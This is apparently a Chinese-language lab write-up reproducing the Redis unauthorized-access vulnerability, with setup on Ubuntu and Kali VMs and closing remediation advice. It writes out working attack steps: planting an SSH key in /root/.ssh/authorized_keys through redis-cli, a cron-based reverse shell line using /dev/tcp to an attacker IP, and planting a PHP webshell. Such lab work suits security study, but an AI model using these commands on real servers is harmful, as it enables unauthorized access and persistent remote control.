Redis未授權訪問漏洞復現
- 2019 年 10 月 14 日
- 筆記
Redis未授權訪問漏洞復現
一、漏洞描述
Redis默認情況下,會綁定在0.0.0.0:6379(在redis3.2之後,redis增加了protected-mode,在這個模式下,非綁定IP或者沒有配置密碼訪問時都會報錯),如果沒有進行採用相關的策略,比如添加防火牆規則避免其他非信任來源ip訪問等等,這樣將會將Redis服務暴露在公網上,如果在沒有設置密碼認證(默認為空)的情況下,會導致任意用戶在可以訪問目標伺服器的情況下未授權訪問Redis以及讀取Redis的數據。攻擊者在未授權訪問Redis的情況下,利用Redis自身的提供的config命令,可以進行寫文件操作,攻擊者還可以成功將自己的ssh公鑰寫入目標伺服器的/root/.ssh文件的authotrized_keys 文件中,進而可以使用對應私鑰直接使用ssh伺服器登錄目標伺服器。
漏洞的產生條件有以下兩點:
(1) Redis綁定在0.0.0.0:6379,且沒有進行添加防火牆規則避免其他非信任來源ip訪問等相關安全策略,直接暴露在公網
(2) 沒有設置密碼認證(默認為空)或者弱密碼,可以免密碼登錄redis服務
二、漏洞影響版本
Redis 2.x,3.x,4.x,5.x
三、漏洞危害
(1) 攻擊者無需認證訪問到內部數據,可能導致敏感資訊泄露,黑客也可以惡意執行flushall來清空所有數據
(2) 攻擊者可通過eval執行lua程式碼,或通過數據備份功能往磁碟寫入後門文件
(3) 如果redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄目標伺服器
四、漏洞環境搭建
靶機:ubuntu 16.04 192.168.10.134
攻擊機:kali 192.168.10.138
1、靶機安裝redis伺服器(redis-server)
1.1下載redis-4.0.10
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
1.2、解壓,進入源碼目錄,然後編譯(make、make install)
1.3啟動服務(redis-server)
1.3.1啟動redis服務,注意關閉防火牆,Ubuntu除了iptables機制,還有ufw安全機制
1.3.2啟動redis-server服務
1.4查看是否啟動了redis-server服務
ps -ef |grep redis-server
2.kali安裝安裝redis客戶端(redis-cli)
2.1下載redis-4.0.10
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
2.2 解壓,編譯
2.3測試redis客戶端是否安裝完成
五、漏洞復現
1、測試目標靶機是否存在未授權訪問,下圖說明靶機存在未授權訪問,導致資訊泄露(注:由於redis-4.0.10版本中配置文件默認已經啟用了保護,下面將使用redis-2.8.17)
利用方式1:寫入webshell
利用條件:目標開啟了web伺服器,並且知道web路徑(可以利用phpinfo或者錯誤暴路徑等),還需要具有讀寫增刪改查許可權
2、把shell寫入到網站根目錄下(/var/www/html/)
3、在靶機上查看是否寫入了1.php文件
4、瀏覽器訪問http://192.168.10.139/1.php,發現在目標靶機成功寫入webshell
5、寫入一句話木馬
6、菜刀連接, 注:在ubuntu環境測試,菜刀一直解析不到上傳的木馬
利用方式2:通過寫入SSH公鑰實現SSH登錄
原理就是在資料庫中插入一條數據,將本機的公鑰作為value,key值隨意,然後通過修改資料庫的默認路徑為/root/.ssh和默認的緩衝文件authorized.keys,把緩衝的數據保存在文件里,這樣就可以在伺服器端的/root/.ssh下生一個授權的key。
7、首先在攻擊機(kali)上生成ssh公鑰
8、將公鑰寫入key.txt文件(前後用n換行,避免和redis里其他快取數據混合)。
(echo -e “n”;cat id_rsa.pub;echo -e “n”)>key.txt
9、再把key.txt文件內容寫入redis緩衝
cat /root/.ssh/key.txt |./redis-cli -h 192.168.10.139 -x set pub
10.1、設置redis的dump文件路徑為/root/.ssh且文件名為authorized_keys,注意: redis 可以創建文件但無法創建目錄,所以,redis 待寫入文件所在的目錄必須事先存在。出現如下圖錯誤是因為目標靶機不存在.ssh目錄(默認沒有,需要生成公、私鑰或者建立ssh連接時才會生成)
10.2當目標使用過ssh服務之後,就會產生.ssh目錄了,然後進行如下操作
11、測試是否可以通過ssh登錄目標伺服器,成功登錄
利用方式3:在crontab里寫定時任務,反彈shell
12、在客戶端開啟監聽(kali攻擊機)
13、在客戶端(kali攻擊機)使用redis-cli連接redis伺服器,寫入反彈shell
set xxx “nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.140/5555 0>&1nn”
config set dir /var/spool/cron
config set dbfilename root
save
14、1分鐘後客戶端這邊收到centos的反彈shell,注意:在ubuntu測試計劃任務寫入成功但不執行
15、在目標靶機(centos)上查看計劃任務
六、修復建議
1、禁止外部訪問Redis服務埠
2、禁止使用root許可權啟動redis服務
3、配置安全組,限制可連接Redis伺服器的IP
————————————————————————-
參考: https://www.freebuf.com/column/158065.html
https://www.freebuf.com/vuls/148758.html
redis安裝: https://www.jianshu.com/p/2f53c9a4b4c6